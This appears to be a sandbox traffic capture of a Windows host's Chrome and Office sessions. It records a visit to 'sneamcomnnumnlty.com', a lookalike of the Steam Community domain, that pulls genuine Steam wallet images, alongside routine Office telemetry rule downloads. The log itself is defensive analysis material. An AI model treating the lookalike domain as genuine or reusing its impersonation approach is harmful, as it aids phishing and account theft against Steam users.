2024-10-06 11:20:57 UTC	291	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 0d 08 06 00 00 00 76 1e 34 41 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 c5 49 44 41 54 78 da 62 f8 ff ff 3f 03 1e cc 03 c4 93 80 f8 39 10 7f 03 e2 5d 40 ac 0f 93 c7 a7 91 1d 88 4f fc 47 80 bf 40 fc 05 88 3f 02 b1 3a 21 cd 05 48 1a 0f 03 b1 1c 54 dc 1a 88 7b 09 69 3e 88 a4 59 1e 4d ce 0c 9b 66 66 a8 1f 57 01 f1 27 a8 c6 5f 50 3e 08 ab 21 a9 c3 6a b3 03 10 ff f9 8f 09 26 a3 ab c5 e5 e4 0a 34 8d 27 81 98 8d 58 cd 8c 40 bc 19 aa f1 0d 16 3f c3 35 83 e2 6d 37 10 df 45 c2 97 81 58 17 ca f6 04 e2 45 68 f2 20 f5 06 0c 50 85 d8 c0 51 20 16 03 e2 12 1c f2 d7 18 fe e3 07 20 a7 ff c6 25 09 f2 db 03 06 06 06 79 06 d2 c1 63 Data Ascii: PNGIHDRv4AtEXtSoftwareAdobe ImageReadyqe<IDATxb?9]@OG@?:!HT{i>YMffW'_P>!j&4'X@?5m7EXEh PQ %yc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49791	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	575	OUT	GET /public/images/blank.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 807 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-327" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
2024-10-06 11:20:57 UTC	807	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f7 00 00 ff 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: GIF89a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49790	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	589	OUT	GET /public/images/account/wallet_icon.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:58 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3412 Last-Modified: Wed, 28 Jun 2023 04:07:18 GMT ETag: "649bb1f6-d54" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close X-N: S
2024-10-06 11:20:58 UTC	3412	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2e 08 06 00 00 00 57 b9 2b 37 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR..W+7pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112057Z-1657d5bbd482tlqpvyz9e93p5400000001zg000000008ntc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:57 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112057Z-1657d5bbd48vhs7r2p1ky7cs5w000000025g00000000bfq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112057Z-1657d5bbd48762wn1qw4s5sd3000000001u000000000569b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:57 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:58 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:58 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112058Z-1657d5bbd48xsz2nuzq4vfrzg800000001w0000000000wcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:58 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49796	35.190.80.1	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:58 UTC	551	OUT	OPTIONS /report/v4?s=OVAkxmWuyxMrj4DTRijw4sNIKZXh%2FDgVsjn4hsFnPDx%2FDTRIy5R%2FG6cQ6I5ZGMs71Xl51Ogo8HjDAr37jFBFcPWcRgsq9V6uNrOaabczhTm1IZ7EkqCmPkgDogAyyCQBRZOl03Ol6w%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://sneamcomnnumnlty.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:58 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Sun, 06 Oct 2024 11:20:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49798	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:58 UTC	603	OUT	GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:58 UTC	241	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/svg+xml Last-Modified: Tue, 17 Nov 2020 23:33:19 GMT ETag: "5fb45dbf-e64" Access-Control-Allow-Origin: * Date: Sun, 06 Oct 2024 11:20:58 GMT Content-Length: 3684 Connection: close
2024-10-06 11:20:58 UTC	3684	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 31 36 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 73 76 67 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 53 56 47 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 47 72 61 70 68 69 63 73 2f 53 56 47 2f 31 2e 31 2f 44 54 44 2f 73 76 67 31 31 2e 64 74 64 22 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49812	35.190.80.1	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:58 UTC	488	OUT	POST /report/v4?s=OVAkxmWuyxMrj4DTRijw4sNIKZXh%2FDgVsjn4hsFnPDx%2FDTRIy5R%2FG6cQ6I5ZGMs71Xl51Ogo8HjDAr37jFBFcPWcRgsq9V6uNrOaabczhTm1IZ7EkqCmPkgDogAyyCQBRZOl03Ol6w%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 482 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:58 UTC	482	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 34 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 31 2e 31 36 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 6e 65 61 6d 63 6f 6d 6e 6e 75 6d 6e 6c 74 79 Data Ascii: [{"age":0,"body":{"elapsed_time":841,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.91.169","status_code":404,"type":"http.error"},"type":"network-error","url":"https://sneamcomnnumnlty
2024-10-06 11:20:59 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Sun, 06 Oct 2024 11:20:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49803	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	574	OUT	GET /public/images/x9x9.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	256	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 58 Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: "649bb1f9-3a" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	58	IN	Data Raw: 47 49 46 38 39 61 09 00 09 00 80 01 00 cd ca c1 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 09 00 09 00 00 02 11 04 82 68 9b ec d6 d6 49 81 51 39 2b 7c 19 53 5d 00 00 3b Data Ascii: GIF89a!,hIQ9+\|S];

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49800	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	606	OUT	GET /public/images/account/redeem_wallet_complete_popup.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 22513 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-57f1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	16115	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b7 00 00 00 aa 08 06 00 00 00 2e a8 01 1a 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR.pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2024-10-06 11:20:59 UTC	6398	IN	Data Raw: f2 22 cb 32 6d 4b 12 23 84 2d 9d cc 91 cf 16 a7 ed f3 45 23 61 da db 5a 47 9d 43 27 c4 6d 2e 7b 6e 96 c5 c1 8d 35 7a 6e de f4 ac b7 c1 c0 f9 6e 07 35 ea 43 c5 7f e7 9b c0 c5 1b a2 d3 2a 70 86 2c f1 c5 b5 09 ae ff f4 07 f8 d7 ed 37 f3 d5 cf 8c 1d 8a 04 f0 05 b5 fd 96 f9 38 9d 84 13 3e 54 5d d9 bb e6 36 86 e7 b6 62 69 98 42 d1 44 a4 94 4c 3f 83 db 05 26 aa 4c 22 c9 12 ad 8b e3 23 92 47 ca 25 93 be ee cc b4 7c 26 43 d7 59 d4 d6 4a bc a1 61 de 1c 7d 24 c4 8d 81 18 76 ae 64 73 d0 a0 b8 55 d9 2a 5e 49 82 69 2c 6e bf a1 4d c5 b5 e6 e7 3e 24 59 96 69 68 88 92 4e 25 eb 2e 70 41 45 e6 ab 07 37 f2 f3 4f 5e c6 03 ff be 83 ab 3e 7d 24 07 1d 18 1b f7 f9 ae 33 3f 4d bb 24 49 24 da 43 38 ee c0 c0 56 c7 09 4b ba ae 27 f6 bb cd 64 e4 22 11 a7 b5 a5 19 6d 1f 2f 4e 92 24 5a Data Ascii: "2mK#-E#aZGC'm.{n5znn5Cp,78>T]6biBDL?&L"#G%\|&CYJa}$vdsU^Ii,nM>$YihN%.pAE7O^>}$3?M$I$C8VK'd"m/N$Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49802	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
